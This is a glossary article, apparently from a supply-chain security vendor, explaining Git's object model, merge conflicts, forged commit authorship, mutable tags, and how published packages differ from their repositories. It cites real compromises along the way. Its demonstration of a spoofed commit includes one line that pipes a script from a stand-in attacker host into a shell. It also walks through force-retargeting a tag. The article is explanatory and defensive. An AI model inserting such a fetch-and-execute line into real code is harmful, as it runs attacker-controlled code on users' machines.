Back to glossary

Version Control

Version control records every change to a set of files as a linked history of snapshots, so teams can review, merge, and restore any earlier state.

Also known as VCS, Version control system, Source control, Revision control, SCM

Version control, also called source control or revision control, is the practice of recording every change to a set of files as a history of snapshots, so a team can see who changed what, merge parallel work, and restore any earlier state. Git links each snapshot to its parent by cryptographic hash, making history tamper-evident but not proof of authorship.

For software supply chain security, the important property of version control is its boundary. A repository records the code your team wrote. Your dependencies appear in it only as a version string and an integrity hash in a lockfile, and the code that actually executes is usually built and uploaded somewhere else. Commit author names are free text. Tags and branches are movable pointers. A registry tarball is a separate artifact that nothing forces to match its source repository. Our position: treat Git history as tamper-evident but unauthenticated, pin by commit hash rather than by name, and analyze the published artifact itself rather than the repository it claims to come from.

What is version control in software?

#

Version control in software is a database of changes plus rules for combining them. Every version control system answers three questions: what the files looked like at a given point, who changed them and why, and how two people's edits become one result.

Before version control, teams answered those questions with copied directories and file names like final_v2. Early tools tracked revisions of single files on one machine. Centralized systems such as Subversion and Perforce moved history to a server: each developer checks out a working copy, and every commit is a round trip to the one authoritative repository. Distributed systems such as Git and Mercurial give every clone the full history. Committing, branching, diffing, and reading the log are local operations, and the server is just another copy that the team agrees to treat as canonical.

PropertyCentralized (Subversion, Perforce)Distributed (Git, Mercurial)
Where history livesOne serverEvery clone holds a full copy
CommittingA network round trip to the serverLocal first, then pushed
Access controlPer path, enforced by the serverPer repository; anyone who can push can move refs unless the host blocks it
Large binary filesFile locking and partial checkouts handle them nativelyNeeds extensions such as Git LFS
Offline workLimitedFull history and commits offline
VerdictUse for huge binary assets that need exclusive locks, such as game art and mediaUse for source code. Full local history is also why a deleted repository or a rewritten tag does not erase copies already cloned

How does version control software like Git work?

#

Git works by storing every version of every file as an object named by the hash of its contents, then recording commits as small text objects that point at those names. The Pro Git book's section on Git objects opens with the whole design in one sentence: "Git is a content-addressable filesystem."

Git has four object types. A blob holds a file's bytes. A tree lists file names and modes and points at blobs and subtrees. A commit names one tree, zero or more parent commits, an author, a committer, and a message. An annotated tag names an object and adds a message and an optional signature. With a default configuration and commit signing off, these commands reproduce the exact hashes below:

Bash
$ export GIT_AUTHOR_DATE=2026-11-06T12:00:00Z GIT_COMMITTER_DATE=2026-11-06T12:00:00Z
$ git init -q -b main demo && cd demo
$ git config user.name "Ada Dev" && git config user.email ada@example.com
$ printf 'console.log("hi")\n' > index.js
$ git add index.js && git commit -q -m "Add entry point"

$ git cat-file -p HEAD
tree ba5beffecdf48d977e636b4889d77fee4c4959c6
author Ada Dev <ada@example.com> 1793966400 +0000
committer Ada Dev <ada@example.com> 1793966400 +0000

Add entry point

$ git cat-file -p 'HEAD^{tree}'
100644 blob 1ac74b42183215c938310f9bd404c60ee49770d5	index.js

$ printf 'blob 18\0console.log("hi")\n' | sha1sum
1ac74b42183215c938310f9bd404c60ee49770d5  -

The last command is the whole trick. A blob's name is the SHA-1 of the header blob <size> and a null byte, followed by the file's bytes, so anyone can recompute it. A tree's name is the hash of its listing, which contains its blobs' names. A commit's name is the hash of its text, which contains its tree's name and its parent's name. Change one byte in an old file and every name above it changes, up to the branch tip.

A Git commit hash therefore commits to the entire tree and history behind it. That is what makes Git history tamper-evident: if two people hold the same commit hash, they hold the same code.

Branches and tags sit outside that chain. A branch is a file under .git/refs/heads/ that contains a commit hash. A lightweight tag is the same thing under .git/refs/tags/. Moving either one is a one-line write that changes no object. Figure 1 shows the split, using the demo repository after two more steps covered below: an attacker-style commit and a retargeted tag.

Figure 1. The demo repository after an attacker commit and a retargeted tag. Objects are immutable; the refs that name them are not.

Figure 1, in text: the demo repository holds two commits. Commit 3cfba71 (author Ada Dev, message "Add entry point", no parent) points at tree ba5beff, which points at blob 1ac74b4, the original index.js. Commit 37b286c (author "Trusted Maintainer", message "Fix typo", no signature) names 3cfba71 as its parent and points at tree aa49e13, which points at blob a3e4064, an index.js with an added line that pipes a remote script to a shell. All six objects are named by hash and cannot change. The branch main points at 37b286c. The tag v1.0.0 pointed at 3cfba71 until git tag -f moved it to 37b286c. Objects are immutable; refs are not.

What is a commit?

#

A Git commit is a full snapshot, not a diff. Git stores the complete tree for every commit and computes diffs on demand by comparing two trees. Storage stays small because an unchanged file keeps the same blob name and is stored once. The commit object holds exactly the fields shown above: tree, parent, author, committer, message, and an optional signature. The author and committer lines contain whatever the committing client's configuration says.

Git still uses SHA-1 for those names by default. The SHAttered attack produced a SHA-1 collision in 2017 with about 2⁶³ operations, and Git has shipped a collision-detecting SHA-1 implementation by default since version 2.13. Git's breaking-changes plan makes SHA-256 the default for new repositories in Git 3.0, which has no release date. As of November 2026, Git's development branch is at version 2.56 and new repositories still default to SHA-1. The hash is the strongest part of Git's design. The weak parts are the fields Git records without verifying.

What causes a merge conflict?

#

A merge conflict happens when two branches change the same lines of a file after their last common commit, and Git cannot choose between them. Git merges with three inputs: the two branch tips and their merge base. For each region of each file, if only one side changed it relative to the base, Git takes that side. If both sides changed it differently, Git writes both versions into the file between conflict markers and stops.

Bash
$ git merge pin-lodash
Auto-merging package.json
CONFLICT (content): Merge conflict in package.json
Automatic merge failed; fix conflicts and then commit the result.

$ cat package.json
{
  "name": "app",
  "dependencies": {
<<<<<<< HEAD
    "lodash": "^4.17.21"
=======
    "lodash": "4.17.21"
>>>>>>> pin-lodash
  }
}

One branch bumped a caret range and the other pinned an exact version. Both edits are reasonable, they touch the same line, and only a person knows which intent should win.

Dependency files are where merge conflicts carry security weight. Lockfiles are machine-written and change on nearly every dependency edit, so parallel branches conflict in them constantly. The tempting fix is to delete package-lock.json and reinstall. That re-resolves every version range in the tree against the registry as it exists at that minute, which can pull in releases nobody on the team has seen. During the axios compromise in March 2026, a fresh resolution of ^1.14.0 returned the malicious 1.14.1. As our analysis of its blast radius put it, "Lockfiles make existing installs deterministic. They do not make new installs safe."

The safer path is documented and old. Resolve conflicts in package.json by hand, then run npm install, and npm will "automatically resolve any conflicts for you and write a merged package lock," a feature npm added in version 5.7.0. We confirmed the behavior with npm 10.9.9 in November 2026: two branches that each added a different dependency produced a conflicted lockfile, and npm install --package-lock-only wrote a merged lockfile containing both. Then review the lockfile diff like code, because it is code you are about to run.

Can you trust the author of a Git commit?

#

No. A Git commit's author and committer fields are plain text set by whoever creates the commit, and Git checks them against nothing. Continuing the demo, one command produces a commit attributed to someone else:

Bash
$ printf 'require("child_process").exec("curl -s https://evil.example/x | sh")\n' >> index.js
$ git -c user.name="Trusted Maintainer" -c user.email="maintainer@example.org" \
    commit -qam "Fix typo"

$ git log --format='%h %G? %an <%ae> %s'
37b286c N Trusted Maintainer <maintainer@example.org> Fix typo
3cfba71 N Ada Dev <ada@example.com> Add entry point

The N in the second column means no signature. Nothing else in the output distinguishes the forged commit from a real one. GitHub's documentation on commit verification states the problem directly: "When you work locally on your computer, Git allows you to set the author of your changes and the identity of the committer." What a hosting platform does authenticate is the push, meaning the credential that updated the ref. That is a different identity from the one written inside the commit.

Signing closes part of the gap. Git can sign commits and tags with GPG keys, X.509 certificates, and, since Git 2.34, SSH keys. git verify-commit checks a signature against keys you trust, and hosting platforms can mark unsigned commits from opted-in accounts as unverified. A signature proves that someone holding the key made the commit. It does not prove the key holder meant to, and it does not survive a compromised workstation. In the axios compromise, the maintainer said the attacker could "take control of both npm and GitHub access" from his machine. Signing keys stored on that machine would have signed for the attacker too.

Version control events are also execution triggers. In the LiteLLM compromise, attackers pushed unsigned commits titled "ci: bump cache config" to throwaway ci-tmp-<hex> branches on October 10 and 12, 2026. The workflow they added ran on: [push], so each push ran jobs that read repository secrets, and each branch was deleted within minutes. That activity started 11 days before the malicious release, and none of it touched main. Branch protection guards named branches; a push trigger fires on every branch. We cover the workflow side in GitHub Actions security.

Tags and branches are mutable pointers

#

A Git tag is a name for a commit, and names can be reassigned. Retargeting takes one command locally and one force-push on the server:

Bash
$ git rev-parse --short v1.0.0
3cfba71
$ git tag -f v1.0.0 37b286c
Updated tag 'v1.0.0' (was 3cfba71)
$ git push --force origin v1.0.0

Anything that resolves a tag at fetch time inherits that mutability. In the tj-actions/changed-files compromise on March 14 and 15, 2025, an attacker repointed every version tag from v1 through v45.0.7 to a malicious commit. More than 23,000 repositories used the action. Workflows that referenced @v45 ran the attacker's code on their next run, and workflows pinned to a full commit SHA did not. The incident is tracked as CVE-2025-30066.

Rewriting a tag also hides evidence. In the boltdb-go typosquat, a backdoored github.com/boltdb-go/bolt v1.3.1 was cached by the Go module proxy in November 2021. The attacker then pointed the GitHub tag at clean code, so a manual audit of the repository found nothing. The proxy and checksum database that Go modules rely on are built to make a version immutable once fetched. As of Socket's February 2025 report, they had kept serving the cached backdoor for more than three years. Immutability preserves whatever was true at first fetch, including malware.

Pinning to a commit hash fixes mutability, not trust. Our guide to hardening GitHub Actions puts the limit in six words: "A SHA proves immutability, not provenance." A commit pushed to a fork can be fetched through the upstream repository's URL even though it sits on no upstream branch, so a SHA that resolves is not evidence that the maintainers wrote it. Update tooling that keys on version tags also stops alerting on SHA pins, so pinning needs a separate advisory feed. GitHub's immutable releases lock a tag to its commit for as long as the release exists, but only when the upstream maintainer enables them. Git and URL dependencies inherit all of this: a package.json entry like github:user/repo#v1.2.0 resolves that tag at install time.

The repository is not the artifact

#

The package you install is a build output that someone uploaded to a registry, and by default the registry does not check it against the repository it names. That gap is where version control stops protecting you.

In the xz Utils backdoor, disclosed on March 29, 2024, the release tarballs for versions 5.6.0 and 5.6.1 carried a modified build script that the Git repository never contained. The malicious test fixtures were committed to Git, but the line that extracted and ran them was not. Andres Freund's disclosure put it plainly: "One portion of the backdoor is solely in the distributed tarballs." Reviewing the repository could not have revealed the trigger.

Even an honest release is not a copy of its repository. We compared axios 1.14.0, published on March 27, 2026 through npm trusted publishing, with the commit its registry metadata names:

Bash
$ npm view axios@1.14.0 gitHead _npmUser.name
gitHead = '46bee3dea75ef53a8eae49f3b7487e6341de6074'
_npmUser.name = 'GitHub Actions'

$ git clone -q https://github.com/axios/axios.git && git -C axios checkout -q 46bee3d
$ git -C axios tag --points-at HEAD
v1.14.0

$ npm pack axios@1.14.0 && mkdir pkg && tar xzf axios-1.14.0.tgz -C pkg
$ cd pkg/package && find . -type f | sed 's|^\./||' | while read -r f; do
    want=$(git -C ../../axios rev-parse -q --verify "HEAD:$f")
    if   [ -z "$want" ]; then echo tarball-only
    elif [ "$want" = "$(git hash-object "$f")" ]; then echo identical
    else echo differs; fi
  done | sort | uniq -c
     74 identical
     12 tarball-only

Git blob names make this comparison exact: a tarball file with the same blob name as the tagged file has the same bytes. Of the tarball's 86 files, 74 match the tagged commit byte for byte and none differ. The other 12 are dist/ bundles totaling 1,993,507 bytes that exist only in the tarball. One of them, dist/node/axios.cjs, is what the package's exports map hands to Node for require('axios'). The tagged commit holds 361 files, and the 287 that never ship are tests, examples, CI workflows, and build configuration.

Git tag v1.14.0 commit 46bee3d, 361 files
npm tarball axios-1.14.0.tgz 86 files, what installs

287

Only in Git

Tests, examples, CI workflows, build config. Reviewed, never installed.

74

Identical in both

Same Git blob hash: lib/, index.js, types, docs. Zero files differ.

12

Only in the tarball

dist/ bundles, 1,993,507 bytes. Includes dist/node/axios.cjs, the file Node loads for require('axios').

Figure 2. axios 1.14.0, a legitimate release, compared file by file with the commit its registry metadata names. Bar widths are proportional to file counts.

Figure 2, in text: for axios 1.14.0, 287 files exist only in the Git tag (tests, examples, CI workflows, build configuration), 74 files are identical in the tag and the npm tarball (lib/, index.js, type definitions, docs), and 12 files exist only in the tarball (dist/ bundles, 1,993,507 bytes, including dist/node/axios.cjs). The tag holds 361 files and the tarball holds 86.

Generated bundles are normal. They also mean the file Node loads for the most common import has never been in version control, and the only link between it and reviewed source is the build pipeline. For 1.14.0 that link is recorded: the registry holds an SLSA package provenance attestation, and _npmUser shows the GitHub Actions trusted publisher.

The malicious releases four days later had none of that. axios 1.14.1 and 0.30.4 added one dependency, plain-crypto-js@4.2.1, whose postinstall hook ran a 4,209-byte dropper, and neither version appeared in the project's GitHub tags. npm has since removed both versions, but the registry's time map still records them, 39 minutes apart:

Bash
$ curl -s https://registry.npmjs.org/axios | jq '.time["1.14.1"], .time["0.30.4"], .versions["1.14.1"]'
"2026-03-31T00:21:58.168Z"
"2026-03-31T01:00:57.285Z"
null

A release with no matching tag, no gitHead, and no provenance, from a project whose previous release had all three, is a high-signal anomaly. A matching commit is not proof of safety either. In the LiteLLM compromise on October 21, 2026, the payload arrived in commits that the release tag did not contain: the tagged pyproject.toml lacked the build setting that pulled the payload in, and the payload files in the later commit matched the published wheel byte for byte. The container image's provenance named that commit as its source. The provenance was accurate; the commit was the attack.

This is why we analyze the artifact rather than the repository. When a pull request changes package.json or a lockfile, Socket for GitHub analyzes each newly added package's actual contents and comments on the pull request when it finds risks such as a new install script or known malware. In version control, that dependency change is one line. The code behind the line is what needs review.

What version control should verify next

#

Version control solved the problem it was built for: letting many people edit the same text without losing work. Supply chain security asks it a different question, whether the code that runs is the code that was reviewed, and Git cannot answer that alone.

Three changes would narrow the gap. Registries should require a verifiable link from every release to a source commit and flag releases that break a project's own pattern, as axios 1.14.1 did. Hosting platforms should make release tags immutable by default rather than opt-in. Teams should review the dependency side of a diff as seriously as their own code, because a one-line lockfile change can pull in more code than the rest of the pull request.

The open problem is build output. Bundles, minified files, and compiled wheels are the files that execute, and almost nobody reads them. Reproducible builds would let anyone confirm that an artifact came from a commit, but only if the build is deterministic and someone actually rebuilds and compares. Until that is routine, the reviewable surface of a project is its repository, the executed surface is its artifact, and attackers will keep working in the space between them.